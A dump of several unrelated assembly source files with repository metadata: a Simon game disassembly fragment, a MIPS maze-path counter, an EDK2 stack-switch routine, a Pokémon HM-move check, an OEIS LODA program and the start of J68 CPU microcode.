.ReadBankUpperBits tma ; $2bf: $21 // Read byte from page 0 [3:5] tcy 0 ; $2be: $40 // Point to 2:0 where the result goes. ldx 2 ; $2bd: $3d // alec 3 ; $2bb: $7c // If byte read <= 3 e.g. 00xx br Write0AndExit ; $2b7: $84 // alec 7 ; $2af: $7e // If byte read <= 7 e.g. 01xx br Write1AndExit ; $29e: $93 // alec 11 ; $2bc: $7d // If byte read <= 11 e.g. 10xx br Write2AndExit ; $2b9: $8c // br Write3AndExit ; $2b3: $b2 // Otherwise it is 11xx ; ; Access the lower bits. ; .AccessLowerBits tcmiy 0 ; $2a7: $60 // Bit 3:4[0] is set, clear it back to zero imac ; $28e: $28 // Increment 3[5], incrementing a 5 bit counter here. tam ; $29d: $03 // Write back dman ; $2ba: $2a // Decrement to get the old value. tay ; $2b5: $24 // Put in Y ldx 0 ; $2ab: $3c // Access X:0 .ReadBankLowerBits tma ; $296: $21 // Read it in rbit 2 ; $2ac: $35 // Mask with 00xx rbit 3 ; $298: $37 // xma ; $2b0: $2e // Fix old value back, A is now 0000-0011 tcy 0 ; $2a1: $40 // Point back to 2:0 where the result goes. ldx 2 ; $282: $3d // alec 0 ; $285: $70 // br Write0AndExit ; $28b: $84 // alec 1 ; $297: $78 // br Write1AndExit ; $2ae: $93 // alec 2 ; $29c: $74 // br Write2AndExit ; $2b8: $8c // br Write3AndExit ; $2b1: $b2 // ; *********************************************************************************** ; ; 2 Bit Read Bank 1 at position 3:5/3:4 (LSB only) store in 2:0 ; ; *********************************************************************************** .ReadBank1 tcy 4 ; $2a3: $42 // Look at 3:4 bit 0, the LSB tbit1 0 ; $286: $38 // br ReadBank1Lower ; $28d: $b4 // Read Bank 1 lower if set. tcmiy 1 ; $29b: $68 // Flip LSB tmy ; $2b6: $22 // Read LSB into Y ldx 1 ; $2ad: $3e // And read upper bank except use bank 1 br ReadBankUpperBits ; $29a: $bf // .ReadBank1Lower tcmiy 0 ; $2b4: $60 // Clear LSB in 3:4 imac ; $2a9: $28 // Increment 3:5 tam ; $292: $03 // Write back dman ; $2a4: $2a // Get original value into Y tay ; $288: $24 // ldx 1 ; $291: $3e // And read lower bank except use bank 1 br ReadBankLowerBits ; $2a2: $96 // ; ; Output final values for Bank Read. ; .Write0AndExit tcmiy 0 ; $284: $60 // br ReadBankExit ; $289: $a5 // .Write1AndExit tcmiy 1 ; $293: $68 // br ReadBankExit ; $2a6: $a5 // .Write2AndExit tcmiy 2 ; $28c: $64 // br ReadBankExit ; $299: $a5 // .Write3AndExit tcmiy 3 ; $2b2: $6c // .ReadBankExit ldx 3 ; $2a5: $3f // retn ; $28a: $0f // .L295 tcy 0 ; $295: $40 // Access the current in 2:0 tma ; $2aa: $21 // Read it ldx 3 ; $294: $3f // Point to 3:8 tcy 8 ; $2a8: $41 // xbr L328 ; $290: $13 $a8 // ; *********************************************************************************** ; ; Put the current light [2:0] on and/or set up for tone generation ; ; *********************************************************************************** page 11 .LightOnAndSetup ldx 2 ; $2c0: $3d // Access 2:0 tcy 0 ; $2c1: $40 // tma ; $2c3: $21 // Read this tcy 2 ; $2c7: $44 // Point to 2:2 alec 0 ; $2cf: $70 // br LightR4 ; $2df: $b3 // if zero alec 1 ; $2ff: $78 // br LightR5 ; $2fe: $ac // if one alec 2 ; $2fd: $74 // br LightR6 ; $2fb: $ae // if two alec 3 ; $2f7: $7c // br LightR7 ; $2ef: $b6 // if three alec 4 ; $2de: $72 // br Stored4 ; $2fc: $91 // if four ...... ? br StoredOther ; $2f9: $99 // .LightR4 tcmiy 1 ; $2f3: $68 // Write 1,1,2,1,2,1 and set R4 = 1 tcmiy 1 ; $2e7: $68 // setr ; $2ce: $0d // tcmiy 2 ; $2dd: $64 // tcmiy 1 ; $2fa: $68 // tcmiy 2 ; $2f5: $64 // tcmiy 1 ; $2eb: $68 // br ExitLightSetup ; $2d6: $94 // .LightR5 tcmiy 7 ; $2ec: $6e // Write 7,1,13,0,13,0 and set R5 = 1 tcmiy 1 ; $2d8: $68 // tcmiy 13 ; $2f0: $6b // setr ; $2e1: $0d // tcmiy 0 ; $2c2: $60 // tcmiy 13 ; $2c5: $6b // tcmiy 0 ; $2cb: $60 // br ExitLightSetup ; $2d7: $94 // .LightR6 tcmiy 14 ; $2ee: $67 // Write 14,1,10,0,10,0 and set R6 = 1 tcmiy 1 ; $2dc: $68 // tcmiy 10 ; $2f8: $65 // tcmiy 0 ; $2f1: $60 // setr ; $2e3: $0d // tcmiy 10 ; $2c6: $65 // tcmiy 0 ; $2cd: $60 // br ExitLightSetup ; $2db: $94 // .LightR7 tcmiy 5 ; $2f6: $6a // Write 5,2,8,0,8,0 and set R7 = 1 tcmiy 2 ; $2ed: $64 // tcmiy 8 ; $2da: $61 // tcmiy 0 ; $2f4: $60 // tcmiy 8 ; $2e9: $61 // setr ; $2d2: $0d // tcmiy 0 ; $2e4: $60 // br ExitLightSetup ; $2c8: $94 // .Stored4 tcmiy 10 ; $2d1: $65 // Write 10,0,14,1,10,5 tcmiy 0 ; $2e2: $60 // tcmiy 14 ; $2c4: $67 // tcmiy 1 ; $2c9: $68 // tcmiy 10 ; $2d3: $65 // tcmiy 5 ; $2e6: $6a // br ExitLightSetup ; $2cc: $94 // .StoredOther tcmiy 2 ; $2d9: $64 // Write 2,0,0,0,12,3 tcmiy 0 ; $2f2: $60 // tcmiy 0 ; $2e5: $60 // tcmiy 0 ; $2ca: $60 // tcmiy 12 ; $2d5: $63 // tcmiy 3 ; $2ea: $6c // .ExitLightSetup ldx 3 ; $2d4: $3f // retn ; $2e8: $0f // a8aac ; $2d0: $01 // a10aac ; $2e0: $05 // ; *********************************************************************************** ; ; Play sound 2:1 sound details 2:2 onwards counter copies 2:8 onwards. ; ; *********************************************************************************** page 12 .SoundPlay ldx 2 ; $300: $3d // [2:1] = Length ? tcy 1 ; $301: $48 // dman ; $303: $2a // Decrement counter br SoundStillPlaying ; $307: $9f // If still playing br ExitSound ; $30f: $aa // .SoundStillPlaying tamiy ; $31f: $20 // Copy the number of complete (e.g. on + off pulses) tma ; $33f: $21 // to sound from 2:2,2:3 to 2:8,2:9 tcy 8 ; $33e: $41 // tam ; $33d: $03 // tcy 3 ; $33b: $4c // tma ; $337: $21 // tcy 9 ; $32f: $49 // tam ; $31e: $03 // ; ; Sound cycle loop. Does 2:8,2:9 times the on and off cycles. ; .SoundOnOffCycle tcy 8 ; $33c: $41 // Decrement 2:8,2:9 dman ; $339: $2a // br SoundOnCycle ; $333: $b5 // tamiy ; $327: $20 // dman ; $30e: $2a // br SoundOnCycle ; $31d: $b5 // br SoundPlay ; $33a: $80 // ; ; Reset the on cycle by copying (4,5) to (10,11) ; .SoundOnCycle tam ; $335: $03 // Fix up decrement and Copy 2:4,2:5 to 2:10,2:11 tcy 4 ; $32b: $42 // tma ; $316: $21 // tcy 10 ; $32c: $45 // tam ; $318: $03 // tcy 5 ; $330: $4a // tma ; $321: $21 // tcy 11 ; $302: $4d // tam ; $305: $03 // ; ; On Cycle Loop (2:10,2:11 times) ; .SoundOnLoop tcy 10 ; $30b: $45 // Decrement 2:10,2:11 dman ; $317: $2a // br SoundOnContinue ; $32e: $86 // tamiy ; $31c: $20 // dman ; $338: $2a // br SoundOnContinue ; $331: $86 // br SoundOffCycle ; $323: $ad // .SoundOnContinue tam ; $306: $03 // Fix up decrement tcy 8 ; $30d: $41 // Turn speaker on. setr ; $31b: $0d // br SoundOnLoop ; $336: $8b // ; ; Reset the off cycle by coping (6,7) -> (12,13) ; .SoundOffCycle tcy 6 ; $32d: $46 // Copy 2:6,2:7 to 2:12,2:13 tma ; $31a: $21 // tcy 12 ; $334: $43 // tam ; $329: $03 // tcy 7 ; $312: $4e // tma ; $324: $21 // tcy 13 ; $308: $4b // tam ; $311: $03 // ; ; Off cycle loop (2:12,13) ; .SoundOffLoop tcy 12 ; $322: $43 // Decrement the inner loop [2:12,13] dman ; $304: $2a // br SoundOffContinue ; $309: $b2 // tamiy ; $313: $20 // dman ; $326: $2a // br SoundOffContinue ; $30c: $b2 // br SoundOnOffCycle ; $319: $bc // .SoundOffContinue tam ; $332: $03 // Fix up the result of the decrement tcy 8 ; $325: $41 // Clear R8 (Speaker toggle) rstr ; $30a: $0c // br SoundOffLoop ; $315: $a2 // Keep going round. .ExitSound ldx 3 ; $32a: $3f // retn ; $314: $0f // .L328 tam ; $328: $03 // Save it. xbr GameOverCode ; $310: $1a $92 // ; ******************************************************* page 13 .L340 tcy 8 ; $340: $41 // [3:8] <- 0 tcmiy 0 ; $341: $60 // tcy 14 ; $343: $47 // [3:14] <- 1, we do this for 1 and 2. tcmiy 1 ; $347: $68 // .ScanKeyboardLoop tcy 14 ; $34f: $47 // Load 3:14 into Y, current scanning line. tmy ; $35f: $22 // setr ; $37f: $0d // Read the line with that value set. tka ; $37e: $08 // rstr ; $37d: $0c // alec 0 ; $37b: $70 // Causes set flag if any line set. br ScanNoKeyPressed ; $377: $88 // No Key pressed if zero. tcy 0 ; $36f: $40 // Set bit 1 of 3:0 (2) sbit 1 ; $35e: $32 // tcy 6 ; $37c: $46 // Copy bit pattern of keys to 3:6 tam ; $379: $03 // tcy 15 ; $373: $4f // Read 3:15 tma ; $367: $21 // tcy 14 ; $34e: $47 // Same as 3:14 saman ; $35d: $27 // alec 0 ; $37a: $70 // If non-zero then 3:14 and 3:15 have changed. br L342 ; $375: $82 // If zero then been through it once ? tma ; $36b: $21 // Read 3:14, copy into 3:15 tcy 15 ; $356: $4f // tam ; $36c: $03 // tcy 13 ; $358: $4b // Zero 3:13 tcmiy 0 ; $370: $60 // br ScanNoKeyPressed ; $361: $88 // .L342 tcy 13 ; $342: $4b // If 3:13 is non-zero mnez ; $345: $26 // br L371 ; $34b: $b1 // tcy 6 ; $357: $46 // Copy 6 to 7 tma ; $36e: $21 // tcy 7 ; $35c: $4e // tam ; $378: $03 // .L371 xbr L380 ; $371: $17 $80 // .L346 tcy 13 ; $346: $4b // imac ; $34d: $28 // br ScanNoKeyPressed ; $35b: $88 // tam ; $376: $03 // imac ; $36d: $28 // br L369 ; $35a: $a9 // br ScanNoKeyPressed ; $374: $88 // .L369 tcy 8 ; $369: $41 // tcmiy 1 ; $352: $68 // br L353 ; $364: $93 // .ScanNoKeyPressed tcy 14 ; $348: $47 // No key pressed. Read 3:14 imac ; $351: $28 // Increment it and load. tam ; $362: $03 // Write it back. alec 2 ; $344: $74 // if < 2 then loop back. br ScanKeyboardLoop ; $349: $8f // .L353 tcy 0 ; $353: $40 // tbit1 1 ; $366: $3a // br L365 ; $34c: $a5 // tcy 13 ; $359: $4b // tcmiy 0 ; $372: $60 // .L365 tcy 0 ; $365: $40 // rbit 1 ; $34a: $36 // xbr L0e4 ; $355: $1c $a4 // comx ; $354: $00 // comx ; $368: $00 // comx ; $350: $00 // comx ; $360: $00 // ; ******************************************************* page 14 .L380 tcy 7 ; $380: $4e // Check 3:7/3:6 values ? tbit1 0 ; $381: $38 // br L3bd ; $383: $bd // tbit1 1 ; $387: $3a // br L39e ; $38f: $9e // tbit1 2 ; $39f: $39 // br L3a7 ; $3bf: $a7 // br L3b5 ; $3be: $b5 // .L3bd tcy 6 ; $3bd: $46 // tbit1 0 ; $3bb: $38 // br L3b0 ; $3b7: $b0 // br L3ac ; $3af: $ac // .L39e tcy 6 ; $39e: $46 // tbit1 1 ; $3bc: $3a // br L3b0 ; $3b9: $b0 // br L3ac ; $3b3: $ac // .L3a7 tcy 6 ; $3a7: $46 // tbit1 2 ; $38e: $39 // br L3b0 ; $39d: $b0 // br L3ac ; $3ba: $ac // .L3b5 tcy 6 ; $3b5: $46 // tbit1 3 ; $3ab: $3b // br L3b0 ; $396: $b0 // .L3ac xbr ScanNoKeyPressed ; $3ac: $1b $88 // .L3b0 xbr L346 ; $3b0: $1b $86 // ; *********************************************************************************** ; ; 3:15, 3:7 is a 5 bit constant. Convert to a sort of log 2 value in 3:8 ; ; *********************************************************************************** .CalculateLogApprox tcy 15 ; $382: $4f // Read 3:15 into A tma ; $385: $21 // tcy 7 ; $38b: $4e // Y = 7 to read next. alec 1 ; $397: $78 // If bits 1,2,3 of 3:7 are clear br LogHiBitClear ; $3ae: $b8 // br LogHiBitSet ; $39c: $b4 // ; ; This handles 3:15 = 0 ; .LogHiBitClear tma ; $3b8: $21 // Read 3:7 tcy 8 ; $3b1: $41 // Y = 8 alec 1 ; $3a3: $78 // <= 1 return 0 br LogReturn0 ; $386: $84 // alec 2 ; $38d: $74 // <= 2 return 1 br LogReturn1 ; $39b: $93 // alec 4 ; $3b6: $72 // <= 4 return 2 br LogReturn2 ; $3ad: $8c // br LogReturn3 ; $39a: $b2 // <= 7 return 3 ; ; This handles 3:15 = 1 ; .LogHiBitSet tma ; $3b4: $21 // Read 3:7 tcy 8 ; $3a9: $41 // Y = 8 for result alec 1 ; $392: $78 // <= 9 return 4 br LogReturn4 ; $3a4: $8a // alec 2 ; $388: $74 // <= 10 return 5 br LogReturn5 ; $391: $aa // br LogReturn6 ; $3a2: $a8 // All other values return 6 ; ; Return log values. ; .LogReturn0 tcmiy 0 ; $384: $60 // br LogExit ; $389: $90 // .LogReturn1 tcmiy 1 ; $393: $68 // br LogExit ; $3a6: $90 // .LogReturn2 tcmiy 2 ; $38c: $64 // br LogExit ; $399: $90 // .LogReturn3 tcmiy 3 ; $3b2: $6c // br LogExit ; $3a5: $90 // .LogReturn4 tcmiy 4 ; $38a: $62 // br LogExit ; $395: $90 // .LogReturn5 tcmiy 5 ; $3aa: $6a // br LogExit ; $394: $90 // .LogReturn6 tcmiy 6 ; $3a8: $66 // .LogExit retn ; $390: $0f // cpaiz ; $3a0: $2d // ; ******************************************************* page 15 ; *********************************************************************************** ; ; Start here. Clear Block 3 and jump to start of page 0 ; ; *********************************************************************************** .RunSimon clo ; $3c0: $0b // Clear the O outputs which aren' used. cla ; $3c1: $2f // ldx 3 ; $3c3: $3f // Point to Block 3:15 tcy 15 ; $3c7: $4f // .ClearBlock3 rstr ; $3cf: $0c // Clear all the R lines tam ; $3df: $03 // Write $00 to all of block 3. dyn ; $3ff: $2c // br ClearBlock3 ; $3fe: $8f // xbr L000 ; $3fd: $10 $80 // ; *********************************************************************************** ; ; Turn the currently selected light off. ; ; *********************************************************************************** .LightCurrentOff ldx 2 ; $3f7: $3d // Point to 2:4 tcy 4 ; $3ef: $42 // tya ; $3de: $23 // A = 4 tcy 0 ; $3fc: $40 // Point to 2:0 (current light) amaac ; $3f9: $25 // A = Current light + 4 tay ; $3f3: $24 // Y = Pointer to current light rstr ; $3e7: $0c // Turn it off ldx 3 ; $3ce: $3f // retn ; $3dd: $0f // .L3FA tcy 8 ; $3fa: $41 // Set current state to 0 tcmiy 0 ; $3f5: $60 // br L3d8 ; $3eb: $98 // .L3d6 tcy 8 ; $3d6: $41 // tcmiy 2 ; $3ec: $64 // .L3d8 tcy 4 ; $3d8: $42 // Reset the sequential page write address. tcmiy 0 ; $3f0: $60 // tcmiy 0 ; $3e1: $60 // xbr L240 ; $3c2: $19 $80 // .L3cb tcy 9 ; $3cb: $49 // tbit1 0 ; $3d7: $38 // br L3f1 ; $3ee: $b1 // xbr L000 ; $3dc: $10 $80 // .L3f1 xbr L130 ; $3f1: $12 $b0 // ; *********************************************************************************** ; ; Reset timer to 2560 counts. ; ; *********************************************************************************** .PresetTimer2560 tcy 9 ; $3c6: $49 // Clear 3:9 bit 2 (timer flag) rbit 2 ; $3cd: $35 // ldx 2 ; $3db: $3d // Point to 2:8 tcy 8 ; $3f6: $41 // Set counter to 0,0,10 e.g. 2560 tcmiy 0 ; $3ed: $60 // tcmiy 0 ; $3da: $60 // tcmiy 10 ; $3f4: $65 // ldx 3 ; $3e9: $3f // Fix back up retn ; $3d2: $0f // ; *********************************************************************************** ; ; 3 nibble value from 2:8 to 2:10 is decremented, set bit 2 of 3:9 on zero. ; ; *********************************************************************************** .DecrementTimer ldx 2 ; $3e4: $3d // Point to 2:8 tcy 8 ; $3c8: $41 // dman ; $3d1: $2a // br DecTimerOver ; $3e2: $aa // Exit if not out tamiy ; $3c4: $20 // Fix and point to 2:9 dman ; $3c9: $2a // Decrement br DecTimerOver ; $3d3: $aa // Exit if not out tamiy ; $3e6: $20 // Fix and point to 2:10 dman ; $3cc: $2a // Decrement br DecTimerOver ; $3d9: $aa // Exit if not out ldx 3 ; $3f2: $3f // Point to 3:9 tcy 9 ; $3e5: $49 // sbit 2 ; $3ca: $31 // Set bit 2 br ExitDecTimer ; $3d5: $94 // and exit .DecTimerOver tam ; $3ea: $03 // Fixes up any outstanding decrement .ExitDecTimer ldx 3 ; $3d4: $3f // X back to 3 retn ; $3e8: $0f // knez ; $3d0: $09 // comx ; $3e0: $00 // ; 2:0 current sound to play ; 2:1 number of times to play sound, length effectively. ; 2:2+ sound data and copies, 2:8..10 also 3 nibble timer. ; 3:0,1 Sequential write to page 0 address. ; 3:4 LSB of current number (1 bit) ; 3:5 Upper 4 bits of current number ; 3:8 Current selection (?) ; 3:9 (bit 2) timer. ; 3:10 current game. ; 3:12 random seed

47.051207

107

0.266982

ac9fa3572a7296f3a16ee1a828c384ef29aabce5

2,023

asm

Assembly

p2/puzzle.asm

t0ush1/ComputerOrganization

8093949bbd3e48678cea832133e9bf8990bbdf27

[ "MIT" ]

2

2022-03-06T06:05:24.000Z

2022-03-10T09:08:08.000Z

p2/puzzle.asm

t0ush1/ComputerOrganization

8093949bbd3e48678cea832133e9bf8990bbdf27

[ "MIT" ]

null

p2/puzzle.asm

t0ush1/ComputerOrganization

8093949bbd3e48678cea832133e9bf8990bbdf27

[ "MIT" ]

null

.data dx: .word -1:1 .word 0:1 .word 1:1 .word 0:1 dy: .word 0:1 .word 1:1 .word 0:1 .word -1:1 mat: .space 640 mark: .space 640 .macro readInt(%x) li $v0, 5 syscall move %x, $v0 .end_macro .macro getOffset(%des, %i, %j) sll %des, %i, 4 add %des, %des, %j sll %des, %des, 2 .end_macro .macro getElem(%e, %mat, %i, %j) getOffset(%e, %i, %j) lw %e, %mat(%e) .end_macro .macro setElem(%e, %mat, %i, %j) push($t0) getOffset($t0, %i, %j) sw %e, %mat($t0) pop($t0) .end_macro .macro push(%x) sw %x, 0($sp) addi $sp, $sp, -4 .end_macro .macro pop(%x) addi $sp, $sp, 4 lw %x, 0($sp) .end_macro .macro dfs(%x, %y) push($t0) push($ra) push($a1) push($a0) move $a0, %x move $a1, %y jal dfs pop($a0) pop($a1) pop($ra) pop($t0) .end_macro .text main: readInt($s0) #n -> $s0, m -> $s1, ans -> $s2 readInt($s1) li $t0, 1 for_1_begin: bgt $t0, $s0, for_1_end li $t1, 1 for_2_begin: bgt $t1, $s1, for_2_end readInt($v0) xori $v0, $v0, 1 setElem($v0, mat, $t0, $t1) addi $t1, $t1, 1 j for_2_begin for_2_end: addi $t0, $t0, 1 j for_1_begin for_1_end: readInt($t0) #x0 -> $t0, y0 -> $t1, x1 -> $s3, y1 -> %s4 readInt($t1) readInt($s3) readInt($s4) dfs($t0, $t1) move $a0, $s2 li $v0, 1 syscall li $v0, 10 syscall dfs: bne $a0, $s3, if_1_end #if (x == x1 && y == y1) bne $a1, $s4, if_1_end addi $s2, $s2, 1 jr $ra if_1_end: li $t0, 1 setElem($t0, mark, $a0, $a1) #mark[x][y] = 1 li $t0, 0 for_3_begin: beq $t0, 4, for_3_end sll $t1, $t0, 2 #xx = x + dx[i] -> $t1 lw $t1, dx($t1) add $t1, $t1, $a0 sll $t2, $t0, 2 #yy = y + dy[i] -> $t2 lw $t2, dy($t2) add $t2, $t2, $a1 getElem($t3, mark, $t1, $t2) #if (!mark[xx][yy] && mat[xx][yy]) getElem($t4, mat, $t1, $t2) bne $t3, $zero, if_2_end beq $t4, $zero, if_2_end dfs($t1, $t2) if_2_end: addi $t0, $t0, 1 j for_3_begin for_3_end: setElem($zero, mark, $a0, $a1) #mark[x][y] = 0 jr $ra

16.055556

71

0.526446

deb7647d7b701af0faa0ff1e69176840bdb51381

1,671

nasm

Assembly

IntelFsp2Pkg/Library/BaseFspSwitchStackLib/Ia32/Stack.nasm

KaoTuz/edk2-stable202108

49d9306e7bf64b2f07d8473be1f2faea49d0a012

[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]

9

2021-07-26T17:02:51.000Z

2021-12-30T10:49:46.000Z

IntelFsp2Pkg/Library/BaseFspSwitchStackLib/Ia32/Stack.nasm

ESdove/edk2_exploring

34ff32b45f43d233d9696e7c8e3de68ea3000a7b

[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]

null

IntelFsp2Pkg/Library/BaseFspSwitchStackLib/Ia32/Stack.nasm

ESdove/edk2_exploring

34ff32b45f43d233d9696e7c8e3de68ea3000a7b

[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]

null

;------------------------------------------------------------------------------ ; ; Copyright (c) 2016 - 2019, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Abstract: ; ; Switch the stack from temporary memory to permanent memory. ; ;------------------------------------------------------------------------------ SECTION .text extern ASM_PFX(SwapStack) ;------------------------------------------------------------------------------ ; UINT32 ; EFIAPI ; Pei2LoaderSwitchStack ( ; VOID ; ) ;------------------------------------------------------------------------------ global ASM_PFX(Pei2LoaderSwitchStack) ASM_PFX(Pei2LoaderSwitchStack): xor eax, eax jmp ASM_PFX(FspSwitchStack) ;------------------------------------------------------------------------------ ; UINT32 ; EFIAPI ; Loader2PeiSwitchStack ( ; VOID ; ) ;------------------------------------------------------------------------------ global ASM_PFX(Loader2PeiSwitchStack) ASM_PFX(Loader2PeiSwitchStack): jmp ASM_PFX(FspSwitchStack) ;------------------------------------------------------------------------------ ; UINT32 ; EFIAPI ; FspSwitchStack ( ; VOID ; ) ;------------------------------------------------------------------------------ global ASM_PFX(FspSwitchStack) ASM_PFX(FspSwitchStack): ; Save current contexts push eax pushfd cli pushad sub esp, 8 sidt [esp] ; Load new stack push esp call ASM_PFX(SwapStack) mov esp, eax ; Restore previous contexts lidt [esp] add esp, 8 popad popfd add esp, 4 ret

24.217391

79

0.403351

97be33e545c951ec3d4f96324e8198d59e93a16c

316

asm

Assembly

home/hm_moves.asm

pokeachromicdevs/pokeoctober

db74bb68bbfceac07eec6d64674bc24fd4c0b67f

[ "blessing" ]

1

2021-07-05T23:48:37.000Z

home/hm_moves.asm

AtmaBuster/pokeoctober

12652b84eb2df1a0ed2f654a0ffcfb78202e515f

[ "blessing" ]

1

2020-12-16T01:11:20.000Z

2020-12-16T22:53:56.000Z

home/hm_moves.asm

AtmaBuster/pokeoctober

12652b84eb2df1a0ed2f654a0ffcfb78202e515f

[ "blessing" ]

1

2021-07-05T23:33:22.000Z

; HM moves can't be forgotten IsHM:: cp HM01 jr c, .NotHM scf ret .NotHM: and a ret IsHMMove:: call GetMoveIndexFromID ld b, h ld c, l ld hl, .HMMoves ld de, 2 jp IsInHalfwordArray .HMMoves: dw UPROOT dw WIND_RIDE dw WATER_SPORT dw STRONG_ARM dw BRIGHT_MOSS dw BOUNCE dw WHIRLPOOL dw -1 ; end

10.896552

29

0.696203

0a5d52d865fe1c540afb3d438bc449b2e923ce88

715

asm

Assembly

oeis/110/A110872.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/110/A110872.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/110/A110872.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A110872: Numbers n such that (n^2+7)/8 is prime. ; Submitted by Christian Krause ; 3,7,9,15,17,23,25,33,39,41,47,55,71,81,87,89,95,103,113,121,127,129,137,143,151,153,169,177,191,193,199,201,215,223,225,263,265,271,281,297,319,327,335,337,345,351,359,369,375,401,407,415,417,423,439,447,457,473,481,503,521,529,543,551,561,569,577,583,591,599,615,633,641,655,687,689,697,705,719,727,729,745,751,753,775,785,793,799,817,839,841,857,863,865,873,879,881,887,895,921 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $5,1 add $1,$5 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$5 mul $0,2 add $0,3

31.086957

381

0.667133

1ba0f275a81ba69323b9e50f3a05309ebb7a3eab

136,437

asm

Assembly

ucode/j68_ucode.asm

fredrequin/j68_cpu

538badf8def66dc900947be665d0eac6f9ff833e

[ "ISC", "MIT" ]

31

2019-05-07T07:27:29.000Z

2021-10-30T20:13:03.000Z

ucode/j68_ucode.asm

jotego/j68_cpu

538badf8def66dc900947be665d0eac6f9ff833e

[ "ISC", "MIT" ]

2

2021-05-30T09:18:11.000Z

2021-05-31T06:43:10.000Z

ucode/j68_ucode.asm

jotego/j68_cpu

538badf8def66dc900947be665d0eac6f9ff833e

[ "ISC", "MIT" ]

6

2019-05-28T00:52:47.000Z

2021-05-30T05:08:26.000Z

// Copyright 2011 - 2018 Frederic Requin // // The J68 microcode /////////////////////////////////////// // 0100.111001.110000 : RESET opcode // /////////////////////////////////////// Op_RESET: NOP LIT #$0000 LOOP16 // Loop 16 times WRW RH[CNT] // Clear register high WRW RL[CNT] // Clear register low ENDLOOP DROP LIT #$0000 // Reset vectors at $00000000 STW VECL // Point to $00000000 LDW (VEC)+ // Load SSP high word from memory WRW SSPH // into SSP MSW STW A7H // into A7 MSW LDW (VEC)+ // Load SSP low word from memory WRW SSPL // into SSP LSW STW A7L // into A7 LSW LIT #$2704 // Supervisor mode, no interrupt CALL Resume_Exec // Write SR, get PC from vector ///////////////////////// // Instruction decoder // ///////////////////////// Decode: FTI (PC)+ // Fetch instruction // NOP // Comment this line if clock enable is used LDW DECJ // Load subroutine index CALL $0000(T) // Call sub-routine JUMPN I_SR,Decode // Decode next instruction if no interrupt/trap ///////////////////////////////// // Interrupts/Traps management // ///////////////////////////////// JUMP T_SR,Trap_Trace // Trace exception JUMP A_SR,Trap_Address // Adress error exception CALL Enter_Super // Enter supervisor mode (if necessary) CALL PC_SR_to_Stack // Save PC and SR to stack CALL SR_Super // Modify SR (T clear, S set) LIT #$20FF // Mask for interrupt level in SR ANDW // Clear interrupt level LDW VECL // Get interrupt level from vector ORW // Update interrupt level CALL Resume_Exec // Write SR, get PC from vector JUMP Decode // Back to the instruction decoder Trap_Trace: LIT #$0024 // Trace set : use trap vector 0x24 CALL Trap_Processing // Process exception JUMP Decode // Back to the instruction decoder Trap_Address: LIT #$000C // Set trap vector to 0x0C STW VECL CALL Enter_Super // Enter supervisor mode (if necessary) CALL PC_SR_to_Stack // Save PC and SR to stack LDW CPUS STW -(EA2) // Instruction -> -(EA2) LDW CPUS STW -(EA2) // Address low -> -(EA2) LDW CPUS STW -(EA2) // Address high -> -(EA2) LDW CPUS STW -(EA2) // CPU state -> -(EA2) CALL EA2_to_SP // EA2 -> SP CALL SR_Super // Modify SR (T clear, S set) CALL Resume_Exec // Write SR, get PC from vector JUMP Decode // Back to the instruction decoder Trap_LineF: LIT #$002C // Set trap vector to 0x2C JUMP Trap_Processing // Process exception Trap_LineA: LIT #$0028 // Set trap vector to 0x28 JUMP Trap_Processing // Process exception Trap_DivZero: LIT #$0014 // Set trap vector to 0x14 JUMP Trap_Processing // Process exception Trap_Privileged: LIT #$0020 // Set trap vector to 0x20 JUMP Trap_Processing2 // Process exception Trap_Illegal: LIT #$0010 // Set trap vector to 0x10 Trap_Processing2: LDW PCH // Load PC high word LDW PCL // Load PC low word LIT #$FFFE // Value -2 CALL AddVal // Subtract 2 from PC STW PCH // Change PCH STW PCL // Change PCL Trap_Processing: STW VECL CALL Enter_Super // Enter supervisor mode (if necessary) CALL PC_SR_to_Stack // Save PC and SR to stack CALL SR_Super // Modify SR (T clear, S set) JUMP Resume_Exec // Write SR, get PC from vector /////////////////////////////////////// // 0000.000000.xxxxxx : ORI.B opcode // /////////////////////////////////////// Op_ORIB: LDW (PC)+ // Read immediate value CALL EA1_Read_B // Read byte from effective address ORB. // OR it with the immediate value FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_B // Write back result ///////////////////////////////////////// // 0000.000000.111100 : ORI CCR opcode // ///////////////////////////////////////// Op_ORI_CCR: LDW (PC)+ // Read immediate value LDB SR // Read SR ORB // OR CCR with the immediate value STB SR RTS // Update SR /////////////////////////////////////// // 0000.000001.xxxxxx : ORI.W opcode // /////////////////////////////////////// Op_ORIW: LDW (PC)+ // Read immediate value CALL EA1_Read_W // Read word from effective address ORW. // OR it with the immediate value FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_W // Write back result //////////////////////////////////////// // 0000.000001.111100 : ORI SR opcode // //////////////////////////////////////// Op_ORI_SR: LDW (PC)+ // Read immediate value LDW SR // Read SR ORW // OR it with the immediate value STW SR // Update SR JUMP Leave_Super // Super <-> User switch /////////////////////////////////////// // 0000.000010.xxxxxx : ORI.L opcode // /////////////////////////////////////// Op_ORIL: CALL EA1_RL_to_TMP1 // Immediate -> TMP1, read long from EA ORW. // OR EA LSW with immediate LSW SWAP // Get EA MSW LDW TMP1H // Get immediate MSW ORL. // OR EA MSW with immediate MSW FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_L // Write back result 